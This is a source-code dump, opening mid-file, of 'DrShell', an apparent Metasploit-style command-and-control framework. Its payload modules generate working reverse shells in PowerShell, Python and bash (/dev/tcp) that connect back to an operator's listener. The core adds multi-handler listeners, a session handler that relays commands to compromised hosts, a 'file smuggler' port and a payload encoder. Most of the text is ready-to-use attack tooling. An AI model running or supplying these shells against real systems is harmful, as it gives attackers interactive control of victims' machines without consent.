| lport = args.get("lport", 6501) 46 | encode = args.get("encode", "http") 47 | 48 | powershell_script = f"""$LHOST = "{lhost}"; $LPORT = {lport}; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) {{while ($NetworkStream.DataAvailable) {{$RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length);$Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1)}};if ($TCPClient.Connected -and $Code.Length -gt 1) {{$Output = try {{Invoke-Expression ($Code) 2>&1}} catch {{$_}};$StreamWriter.Write("$Output`n");$Code = $null}}}};$TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close();""" 49 | print(powershell_script) 50 | -------------------------------------------------------------------------------- /modules/payloads/python/env_python_shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Python-based reverse shell 6 | metadata = { 7 | "name": "EnvPythonShell Reverse Shell", 8 | "description": "A Python-based reverse shell that utilizes environment variables for configuration and the pty module to spawn a shell.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "127.0.0.1", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": True, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the Python reverse shell command based on provided arguments using environment variables""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Python reverse shell command using environment variables 50 | python_script = f"""export RHOST="{lhost}";export RPORT={lport};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'""" 51 | print(python_script) 52 | -------------------------------------------------------------------------------- /modules/payloads/python/python3subprocess_shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Python-based reverse shell 6 | metadata = { 7 | "name": "PythonSubprocessShell Reverse Shell", 8 | "description": "A Python-based reverse shell that establishes a socket connection and spawns a shell, redirecting standard streams through the socket using the pty module.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "127.0.0.1", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": True, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the Python reverse shell command based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | # Python reverse shell command using subprocess and pty for real terminal handling 50 | python_script = f"""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{lhost}",{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'""" 51 | print(python_script) 52 | -------------------------------------------------------------------------------- /modules/payloads/python/reverse_shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Python-based reverse shell 6 | metadata = { 7 | "name": "PythonShell Reverse Shell", 8 | "description": "A Python-based reverse shell that creates a socket connection and spawns a shell using the pty module.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "172.25.82.128", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": True, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the Python reverse shell command based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | python_script = f"""export RHOST="{lhost}";export RPORT={lport};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'""" 50 | print(python_script) 51 | -------------------------------------------------------------------------------- /modules/payloads/python/subprosess_shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for a Python-based reverse shell 6 | metadata = { 7 | "name": "SubprocessShell Reverse Shell", 8 | "description": "A Python-based reverse shell that uses the subprocess and socket modules to establish a remote shell connection.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address for the reverse shell connection", 20 | "required": True, 21 | "default": "127.0.0.1", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port on the target host for incoming connections", 26 | "required": True, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for transmitted commands", 32 | "required": False, 33 | "default": "utf-8", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def run(args): 44 | """Execute the Python reverse shell command based on provided arguments""" 45 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 46 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 47 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 48 | 49 | python_script = f"""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{lhost}",{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'""" 50 | print(python_script) 51 | -------------------------------------------------------------------------------- /modules/payloads/zsh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | # Metadata for an HTTP-based reverse shell tool 6 | metadata = { 7 | "name": "SignalShell ZSH Reverse Shell", 8 | "description": "An HTTP-based beacon-like reverse shell that writes and executes commands from disk.", 9 | "authors": ["DrDataYE"], 10 | "date": "2023-04-01", 11 | "license": "Custom Intellectual License", 12 | "references": [ 13 | {"type": "url", "ref": "https://github.com/t3l3machus/hoaxshell"}, 14 | {"type": "url", "ref": "https://revshells.com"}, 15 | ], 16 | "options": { 17 | "lhost": { 18 | "type": "address", 19 | "description": "Target host address", 20 | "required": True, 21 | "default": "0.0.0.0", 22 | }, 23 | "lport": { 24 | "type": "int", 25 | "description": "Listening port for incoming connections", 26 | "required": False, 27 | "default": 6501, 28 | }, 29 | "encode": { 30 | "type": "string", 31 | "description": "Encoding method for commands", 32 | "required": False, 33 | "default": "http", 34 | }, 35 | }, 36 | } 37 | 38 | 39 | class Encoder: 40 | pass 41 | 42 | 43 | def generate_http_reverse_shell(host, port): 44 | """Generates an HTTP reverse shell command""" 45 | return f"bash -c 'exec bash -i >& /dev/tcp/{host}/{port} 0>&1'" 46 | 47 | 48 | def run(args): 49 | """Execute the reverse shell based on given arguments""" 50 | lhost = args.get("lhost", metadata["options"]["lhost"]["default"]) 51 | lport = args.get("lport", metadata["options"]["lport"]["default"]) 52 | encode = args.get("encode", metadata["options"]["encode"]["default"]) 53 | 54 | shell_command = generate_http_reverse_shell(lhost, lport) 55 | print(shell_command) 56 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | rich 2 | pytz 3 | prompt-toolkit 4 | colorama -------------------------------------------------------------------------------- /src/__init__.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import time 3 | from src.core.server import app 4 | from src.core.server import start_server 5 | import argparse 6 | import threading 7 | import time 8 | from rich.console import Console 9 | from rich import print 10 | import colorama 11 | 12 | 13 | colorama.init() 14 | parser = argparse.ArgumentParser(description="DrShell Command Line") 15 | parser.add_argument("-p", "--port", type=int, default=6501, help="Port for the Team Server") 16 | parser.add_argument("-x", "--signal_port", type=int, default=8080, help="Port for the signalShell Multi-Handler") 17 | parser.add_argument("-n", "--netcat_port", type=int, default=4443, help="Port for the Netcat TCP Multi-Handler") 18 | parser.add_argument("-f", "--file_smuggler_port", type=int, default=8888, help="Port for the HTTP File Smuggler") 19 | 20 | args = parser.parse_args() 21 | 22 | console = Console() 23 | 24 | 25 | 26 | 27 | def main(): 28 | 29 | # تعريف النص مع الروابط والتدرج اللوني 30 | console.print(r""" 31 | ________ _________ .__ .__ 32 | \______ \_______ / _____/ ____ | | | | 33 | | | \_ __ \ \_____ \_/ __ \| | | | 34 | | ` \ | \/ / \ ___/| |_| |__ 35 | /_______ /__| /_______ /\___ >____/____/ 36 | \/ \/ \/ 37 | 38 | 39 | By [link=https://github.com/DrDataYE]@DrDataYE[/link] 40 | 41 | \[[bold green]Info[/bold green]] Follow on [link=https://x.com/DrDataYE]Twitter[/link], [link=https://github.com/DrDataYE]GitHub[/link], [link=https://t.me/DrDataYE]Telegram[/link], [link=https://youtube.com/DrDataYE]Youtube[/link] 42 | \[[bold green]Info[/bold green]] Thank you! 43 | """) 44 | threading.Thread(target=start_server, args=("0.0.0.0", args.port, "Team Server")).start() 45 | threading.Thread(target=start_server, args=("0.0.0.0", args.signal_port, "signalShell Multi-Handler")).start() 46 | threading.Thread(target=start_server, args=("0.0.0.0", args.netcat_port, "Netcat TCP Multi-Handler")).start() 47 | threading.Thread(target=start_server, args=("0.0.0.0", args.file_smuggler_port, "HTTP File Smuggler")).start() 48 | time.sleep(1) 49 | console.print("\nWelcome to DrShell. Type help or ? to list commands.\n",style="bold") 50 | 51 | while True: 52 | try: 53 | app.cmdloop() 54 | except KeyboardInterrupt: 55 | print("Use 'exit -y' to leave") 56 | 57 | -------------------------------------------------------------------------------- /src/core/encoders.py: -------------------------------------------------------------------------------- 1 | import base64 2 | from urllib.parse import quote 3 | 4 | 5 | class ShellcodeEncoder: 6 | def __init__(self, shellcode): 7 | if isinstance(shellcode, str): 8 | self.shellcode = shellcode.encode() # تحويل النص إلى bytes إذا كان نصاً 9 | else: 10 | self.shellcode = shellcode 11 | 12 | def url_encode(self): 13 | return quote(self.shellcode) 14 | 15 | def double_url_encode(self): 16 | # تنفيذ URL encode مرتين 17 | return quote(quote(self.shellcode)) 18 | 19 | def base64_encode(self): 20 | return base64.b64encode(self.shellcode).decode("utf-8") 21 | 22 | def base32_encode(self): 23 | return base64.b32encode(self.shellcode).decode("utf-8") 24 | -------------------------------------------------------------------------------- /src/core/server.py: -------------------------------------------------------------------------------- 1 | import datetime 2 | import select 3 | import socket 4 | import sys 5 | import threading 6 | from rich.console import Console 7 | import struct 8 | from src.core.shell import DrShell 9 | from datetime import datetime 10 | import pytz 11 | 12 | 13 | app = DrShell() 14 | console = Console() 15 | 16 | 17 | def get_current_time(timezone_str='Asia/Riyadh'): 18 | # تعيين المنطقة الزمنية 19 | timezone = pytz.timezone(timezone_str) 20 | # الحصول على الوقت الحالي مع المنطقة الزمنية 21 | now = datetime.now(timezone) 22 | # تنسيق الوقت للصيغة المطلوبة 23 | formatted_time = now.strftime('%Y-%m-%d %H:%M:%S %z') 24 | return formatted_time 25 | 26 | 27 | 28 | 29 | def get_os_from_socket(client_socket): 30 | try: 31 | client_socket.settimeout(3) # تحديد وقت محدود للانتظار 32 | raw_data, _ = client_socket.recvfrom(65535) 33 | if len(raw_data) < 20: 34 | # لا يوجد بيانات كافية لتحليل رأس الحزمة 35 | return "Unknown" 36 | 37 | ip_header = raw_data[0:20] 38 | ip_hdr = struct.unpack('!BBHHHBBH4s4s', ip_header) 39 | ttl = ip_hdr[5] 40 | 41 | if ttl <= 64: 42 | return "Linux/Unix or Mac OS" 43 | elif ttl <= 128: 44 | return "Windows" 45 | else: 46 | return "Unknown" 47 | except socket.timeout: 48 | # يحدث هذا الاستثناء إذا لم تتلقَ أية بيانات في الفترة الزمنية المحددة 49 | return "Unknown" 50 | except Exception as e: 51 | return "Unknown" 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | def start_server(host, port, description): 61 | try: 62 | server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 63 | server_socket.bind((host, port)) 64 | server_socket.listen(5) 65 | server_socket.setblocking(0) # Make the socket non-blocking 66 | console.print(f"[bold blue][+] [white not bold]Start Listening in {host}:{port} on {description}.") 67 | 68 | 69 | while not app.flag.is_set(): 70 | # Check for new connections, but don't block 71 | ready_to_read, _, _ = select.select([server_socket], [], [], 0.5) 72 | if ready_to_read: 73 | client_socket, addr = server_socket.accept() 74 | uid = str(len(app.sessions) + 1) 75 | app.sessions[uid] = { 76 | "socket": client_socket, 77 | "address": addr[0], 78 | "port": addr[1], 79 | "device_type": "Unknown" # Assuming get_os_from_socket is defined elsewhere 80 | } 81 | console.print(f"\n[bold blue][*][/bold blue] Command shell session {uid} opened ({host}:{port} -> {addr[0]}:{addr[1]}) at {get_current_time()}") 82 | server_socket.close() 83 | console.print(f"[bold blue][*][/bold blue] Server on {host}:{port} has been shut down.") 84 | for session in app.sessions.values(): 85 | session['socket'].close() 86 | for t in app.threads: 87 | t.join() 88 | 89 | except: 90 | console.print( 91 | f"\n[bold blue][*][/bold blue] [white]{host}:{port} is already listening.[/white]\n" 92 | ) 93 | 94 | 95 | 96 | def check_and_start_server(lhost, lport, description): 97 | thread = threading.Thread(target=start_server, args=(lhost, lport, description)) 98 | thread.start() 99 | app.threads.append(thread) 100 | 101 | 102 | 103 | 104 | def handle_client(uid, client_socket, client_address): 105 | console.print(f"[bold blue][*][/bold blue] You can use the [green]exit[/green] or [green]background[/green] command to exit the session.") 106 | 107 | try: 108 | buffer = [] 109 | while True: 110 | # Wait for input from the user or the client 111 | ready_to_read, _, _ = select.select([client_socket, sys.stdin], [], []) 112 | 113 | for source in ready_to_read: 114 | if source == client_socket: 115 | while True: 116 | data = client_socket.recv(4096) 117 | if not data: 118 | if buffer: 119 | full_data = ''.join(buffer) 120 | sys.stdout.write(full_data) 121 | sys.stdout.flush() 122 | buffer = [] # Clear buffer 123 | session = app.sessions.pop(uid) 124 | session["socket"].close() 125 | console.print(f"[bold blue][*][/bold blue] {client_address} - Command shell session {uid} closed. Reason: User exit") 126 | return 127 | buffer.append(data.decode("utf-8")) 128 | if len(data) < 4096: 129 | # If less than 4096 bytes, likely the end of the message 130 | full_data = ''.join(buffer) 131 | sys.stdout.write(full_data) 132 | sys.stdout.flush() 133 | buffer = [] # Clear buffer after processing 134 | break 135 | else: 136 | # Get input from the server user and send it to the client 137 | cmd = sys.stdin.readline() 138 | if cmd.strip().lower() in {"exit", "background"}: 139 | ask = input(f"{cmd.strip().lower().capitalize()} session ? [y/N]") 140 | if ask.lower() == "y": 141 | 142 | action = "Exiting" if cmd.strip().lower() == "exit" else "Backgrounding" 143 | console.print(f"\n[bold blue][*][/bold blue] {action} session.") 144 | if cmd.strip().lower() == "exit": 145 | console.print(f"[bold blue][*][/bold blue] Connection closed with {client_address}") 146 | client_socket.close() 147 | return # Exit the loop but do not close the socket 148 | client_socket.send(cmd.encode("utf-8")) 149 | 150 | except Exception as e: 151 | console.print(f"[bold red][-][/bold red]Error with {client_address}: {e}") 152 | client_socket.close() 153 | 154 | -------------------------------------------------------------------------------- /src/core/shell.py: -------------------------------------------------------------------------------- 1 | import platform 2 | from pydoc import importfile 3 | import subprocess 4 | import sys 5 | import argparse 6 | from textwrap import wrap 7 | import threading 8 | from cmd import Cmd 9 | from rich.console import Console 10 | from rich.table import Table 11 | from rich import print 12 | from rich.live import Live 13 | from prompt_toolkit import PromptSession 14 | from prompt_toolkit.history import InMemoryHistory 15 | from prompt_toolkit.auto_suggest import AutoSuggestFromHistory 16 | from prompt_toolkit.completion import Completer, Completion 17 | from prompt_toolkit.styles import Style 18 | from rich.text import Text 19 | import colorama 20 | 21 | from db.sortPaths import Sort 22 | from db.utils import search_json 23 | 24 | colorama.init() 25 | parser = argparse.ArgumentParser(description="DrShell Command Line") 26 | parser.add_argument( 27 | "-p", "--port", type=int, default=6501, help="Port for the Team Server" 28 | ) 29 | parser.add_argument( 30 | "-x", 31 | "--signal_port", 32 | type=int, 33 | default=8080, 34 | help="Port for the signalShell Multi-Handler", 35 | ) 36 | parser.add_argument( 37 | "-n", 38 | "--netcat_port", 39 | type=int, 40 | default=4443, 41 | help="Port for the Netcat TCP Multi-Handler", 42 | ) 43 | parser.add_argument( 44 | "-f", 45 | "--file_smuggler_port", 46 | type=int, 47 | default=8888, 48 | help="Port for the HTTP File Smuggler", 49 | ) 50 | 51 | args = parser.parse_args() 52 | 53 | console = Console() 54 | 55 | 56 | PURPLE = "\033[95m" 57 | CYAN = "\033[96m" 58 | DARKCYAN = "\033[36m" 59 | BLUE = "\033[94m" 60 | GREEN = "\033[92m" 61 | YELLOW = "\033[93m" 62 | RED = "\033[91m" 63 | BOLD = "\033[1m" 64 | UNDERLINE = "\033[4m" 65 | END = "\033[0m" 66 | 67 | 68 | class MyCompleter(Completer): 69 | def __init__(self, cmd_instance): 70 | self.cmd_instance = cmd_instance 71 | 72 | def get_completions(self, document, complete_event): 73 | text = document.text_before_cursor 74 | parts = text.split(" ") 75 | if len(parts) > 1 and hasattr(self.cmd_instance, "complete_" + parts[0]): 76 | comp_func = getattr(self.cmd_instance, "complete_" + parts[0]) 77 | line = document.text_before_cursor 78 | begidx = document.cursor_position_col - len(parts[-1]) 79 | endidx = document.cursor_position_col 80 | completions = comp_func(parts[-1], line, begidx, endidx) 81 | else: 82 | # استخدام الاكمال الافتراضي 83 | completions = self.cmd_instance.completenames(parts[0]) 84 | 85 | for completion in completions: 86 | yield Completion(completion, start_position=-len(parts[-1])) 87 | 88 | 89 | class DrShell(Cmd): 90 | prompt = "DrShell> " 91 | 92 | # intro = "Welcome to DrShell. Type help or ? to list commands." 93 | 94 | def __init__(self): 95 | super().__init__() 96 | self.select = [] 97 | self.completer = MyCompleter(self) 98 | self.S = Sort() 99 | self.data = {} 100 | self.flag = threading.Event() 101 | self.sessions = {} 102 | self.module = None 103 | self.used_module = None 104 | self.threads = [] 105 | self.readjson = self.S.readJsonFile() 106 | self.readDirs = self.S.readDirs() 107 | self.session = PromptSession( 108 | history=InMemoryHistory(), 109 | # history=FileHistory('~/.myhistory'), 110 | auto_suggest=AutoSuggestFromHistory(), 111 | completer=self.completer, 112 | style=Style.from_dict( 113 | { 114 | "completion-menu.completion": "bg:#008888 #ffffff", 115 | "completion-menu.completion.current": "bg:#00aaaa #000000", 116 | # Prompt. 117 | "username": "white", 118 | "at": "white", 119 | "colon": "white", 120 | "pound": "white", 121 | "host": "white", 122 | "path": "red", 123 | } 124 | ), 125 | complete_in_thread=True, 126 | ) 127 | 128 | # تعريف الأنماط 129 | style = Style( 130 | [ 131 | ("username", "bold underline"), 132 | ("pound", "bold"), 133 | ] 134 | ) 135 | self.prompt = [ 136 | ("class:username", "DrShell"), 137 | ("class:pound", ">"), 138 | ] 139 | 140 | def get_prompt(self): 141 | # استخدام Text من rich مباشرة 142 | return Text("[bold]DrShell >[/]", style="prompt") 143 | 144 | def cmdloop(self, intro=None): 145 | self.preloop() 146 | if intro is not None: 147 | self.intro = intro 148 | if self.intro: 149 | print(self.intro) 150 | stop = None 151 | while not stop: 152 | try: 153 | line = self.session.prompt(self.prompt, complete_in_thread=True) 154 | except EOFError: 155 | line = "EOF" 156 | except KeyboardInterrupt: 157 | console.print("[red][-][white] Use 'exit -y' to leave") 158 | continue 159 | 160 | line = self.precmd(line) 161 | stop = self.onecmd(line) 162 | stop = self.postcmd(stop, line) 163 | self.postloop() 164 | 165 | def emptyline(self): 166 | pass # Do nothing on empty input 167 | 168 | def default(self, line): 169 | if line == "": 170 | return # Ignore empty input and do nothing 171 | else: 172 | console.print(f"[bold blue][*][/bold blue] exec: {line}") 173 | self.exec(line) 174 | 175 | def pprompt(self, line): 176 | self.prompt = line 177 | 178 | def exec(self, command): 179 | if platform.system() == "Windows": 180 | # تحقق من وجود الأمر 181 | if ( 182 | subprocess.run( 183 | f"where {command}", 184 | shell=True, 185 | stdout=subprocess.DEVNULL, 186 | stderr=subprocess.DEVNULL, 187 | ).returncode 188 | == 0 189 | ): 190 | # تنفيذ الأمر وطباعة الإخراج 191 | result = subprocess.run( 192 | command, shell=True, capture_output=True, text=True 193 | ) 194 | print(result.stdout) 195 | else: 196 | print("Command Not Found") 197 | else: 198 | # تحقق من وجود الأمر 199 | if ( 200 | subprocess.run( 201 | f"command -v {command}", 202 | shell=True, 203 | stdout=subprocess.DEVNULL, 204 | stderr=subprocess.DEVNULL, 205 | ).returncode 206 | == 0 207 | ): 208 | # تنفيذ الأمر وطباعة الإخراج 209 | result = subprocess.run( 210 | command, shell=True, capture_output=True, text=True 211 | ) 212 | print(result.stdout) 213 | else: 214 | console.print("[bold blue][*][/bold blue] Command Not Found") 215 | 216 | def do_search(self, args): 217 | search_results = search_json(json_data=self.readjson, search_word=args) 218 | print("\nSearch ", args.capitalize(), sep="") 219 | print("=" * (int(len(args)) + 5), end="\n\n") 220 | args = args.capitalize() 221 | 222 | table = Table() 223 | table.add_column("#") 224 | table.add_column("Name") 225 | table.add_column("Description") 226 | 227 | Dicts = self.readjson 228 | path: type[str] = str 229 | x = 0 230 | vs = [] 231 | dicts = {} 232 | 233 | S = Sort() 234 | Dicts = self.readjson 235 | with Live( 236 | table, refresh_per_second=4 237 | ) as live: # update 4 times a second to feel fluid 238 | x = 0 239 | lists = [] 240 | for var in search_results: 241 | if var["keys"][0] in lists: 242 | continue 243 | # table.add_row(str(x),var['keys'][0],var['value']) 244 | table.add_row( 245 | str(x), 246 | str(var["keys"][0]) 247 | .capitalize() 248 | .replace(args, "[green]" + args + "[/green]") 249 | .replace("./modules/", "") 250 | .replace(".py", ""), 251 | str(Dicts[var["keys"][0]]["description"]) 252 | .capitalize() 253 | .replace(args, "[green]" + args + "[/green]"), 254 | ) 255 | lists.append(var["keys"][0]) 256 | x += 1 257 | self.select.append(str(var["keys"][0])) 258 | 259 | def do_use(self, args): 260 | if args == "": 261 | console.print("[red][-][/red] Invalid module index:") 262 | return 263 | try: 264 | int(args) 265 | # self.moduleIndex = 0 266 | 267 | file_path = self.select[int(args)] 268 | inps = (file_path.replace("./modules/", "")).rsplit("/") 269 | # console.print("[red][-][white] Invalid module index:") 270 | # print(file_path) 271 | self.module = importfile(file_path) 272 | inps[-1] = inps[-1].replace(".py", "") 273 | self.message = [ 274 | ("class:username", "DrShell"), 275 | ("class:at", " "), 276 | ("class:host", inps[0]), 277 | ("class:colon", "("), 278 | ("class:path", "/".join(inps[1:])), 279 | ("class:pound", ")>"), 280 | ] 281 | self.pprompt(line=self.message) 282 | self.used_module = "True" 283 | self.select = [] 284 | except IndexError: 285 | console.print("[red][-][/red] Invalid module index:") 286 | except: 287 | file_path = "./modules/" + args + ".py" 288 | if platform.system() == "Windows": 289 | inps = (args.replace("./modules/", "")).rsplit("/") 290 | else: 291 | inps = (args.replace("./modules/", "")).rsplit("/") 292 | 293 | self.module = importfile(file_path) 294 | inps[-1] = inps[-1].replace(".py", "") 295 | self.message = [ 296 | ("class:username", "DrShell"), 297 | ("class:at", " "), 298 | ("class:host", inps[0]), 299 | ("class:colon", "("), 300 | ("class:path", "/".join(inps[1:])), 301 | ("class:pound", ")>"), 302 | ] 303 | self.pprompt(line=self.message) 304 | self.used_module = "True" 305 | 306 | def do_options(self, arg): 307 | if self.module is not None: 308 | args = arg.split() 309 | if not args: 310 | self.print_global_options() 311 | return 312 | 313 | subcommand = args[0] 314 | if subcommand == "-l" or subcommand == "--list": 315 | self.print_global_options() 316 | elif subcommand == "-h" or subcommand == "--help": 317 | self.print_global_options_help() 318 | else: 319 | print("\nNo module loaded to run.\n") 320 | def print_wrapped(self, title, content, indent=2, width=50): 321 | """طباعة نص مع التغليف والتنسيق.""" 322 | 323 | print(f"{' ' * indent}{title}") 324 | wrapped_text = wrap(content, width=width) 325 | for line in wrapped_text: 326 | console.print(f"{' ' * (indent + 2)}{line}") 327 | 328 | def print_global_options(self): 329 | 330 | # طباعة المعلومات الأساسية 331 | basic_keys = ["name", "module", "license", "rank", "disclosed", "date"] 332 | for key in basic_keys: 333 | if key in self.module.metadata: 334 | print(f" {key.capitalize()}: {self.module.metadata[key]}") 335 | 336 | # طباعة الأشخاص المساهمين 337 | if "authors" in self.module.metadata: 338 | print("\nProvided by:") 339 | for author in self.module.metadata["authors"]: 340 | print(f" {author}") 341 | 342 | # طباعة الخيارات 343 | if "options" in self.module.metadata: 344 | print("\nBasic options:") 345 | print(" Name Current Setting Required Description") 346 | print(" ---- --------------- -------- -----------") 347 | for option, details in self.module.metadata["options"].items(): 348 | setting = self.data.get(option, str(details.get("default", " "))) 349 | required = str(details.get("required", "no")) 350 | description = str(details.get("description", " ")) 351 | wrapped_description = "\n".join(wrap(description, width=40)) 352 | print( 353 | f" {option:<10} {setting:<15} {required:<8} {wrapped_description}" 354 | ) 355 | 356 | # طباعة الوصف 357 | if "description" in self.module.metadata: 358 | self.print_wrapped("\nDescription:", self.module.metadata["description"]) 359 | 360 | # طباعة المراجع 361 | if "references" in self.module.metadata: 362 | print("\nReferences:") 363 | for reference in self.module.metadata["references"]: 364 | print(f" {reference['ref']}") 365 | 366 | # طباعة الأسماء الأخرى 367 | if "aka" in self.module.metadata: 368 | self.print_wrapped("\nAlso known as:", self.module.metadata["aka"]) 369 | 370 | print("\nView the full module info with the info -d command.") 371 | 372 | def get_option_description(self, option): 373 | descriptions = { 374 | "ConsoleLogging": "Log all console input and output", 375 | "LogLevel": "Verbosity of logs (default 0, max 3)", 376 | "MeterpreterPrompt": "The meterpreter prompt string", 377 | "MinimumRank": "The minimum rank of exploits that will run without explicit confirmation", 378 | "Prompt": "The prompt string", 379 | "PromptChar": "The prompt character", 380 | "PromptTimeFormat": "Format for timestamp escapes in prompts", 381 | "SessionLogging": "Log all input and output for sessions", 382 | "SessionTlvLogging": "Log all incoming and outgoing TLV packets", 383 | "TimestampOutput": "Prefix all console output with a timestamp", 384 | } 385 | return descriptions.get(option, "No description available") 386 | 387 | def print_global_options_help(self): 388 | help_text = """ 389 | Usage: options [options] 390 | 391 | Global option manipulation. 392 | 393 | OPTIONS: 394 | -l, --list List all global options 395 | -h, --help Help banner 396 | """ 397 | print(help_text) 398 | 399 | def do_run(self, args): 400 | if self.module is not None: 401 | if self.module is not None: 402 | if "-j" in args: 403 | self.data.update({"start": 0}) 404 | # إنشاء خيط جديد لتشغيل الدالة run 405 | thread = threading.Thread(target=self.module.run, args=(self.data,)) 406 | thread.start() # بدء تشغيل الخي 407 | else: 408 | self.data.update({"start": 1}) 409 | self.module.run(self.data) 410 | 411 | if "options" in self.module.metadata: 412 | setting = {} 413 | for option, details in self.module.metadata["options"].items(): 414 | setting.update( 415 | { 416 | option: self.data.get( 417 | option, str(details.get("default", " ")) 418 | ) 419 | } 420 | ) 421 | 422 | from src.core.server import check_and_start_server 423 | 424 | check_and_start_server( 425 | str(setting["lhost"]), int(setting["lport"]), "Demo Server" 426 | ) 427 | else: 428 | print("\nNo module loaded to run.\n") 429 | def complete_use(self, text, line, begidx, endidx): 430 | """مكمل للأمر hello.""" 431 | options = self.S.listmodules() # path explotation 432 | 433 | if text: 434 | completions = [option for option in options if option.startswith(text)] 435 | else: 436 | completions = options 437 | return completions 438 | 439 | def do_set(self, args=""): 440 | if args == "": 441 | print("\nNo module loaded.\n") 442 | return 443 | 444 | if self.module is not None: 445 | if args != "": 446 | try: 447 | args = args.split(" ") 448 | self.data[args[0]] = args[1] 449 | print(args[0], "=>", args[1]) 450 | except: 451 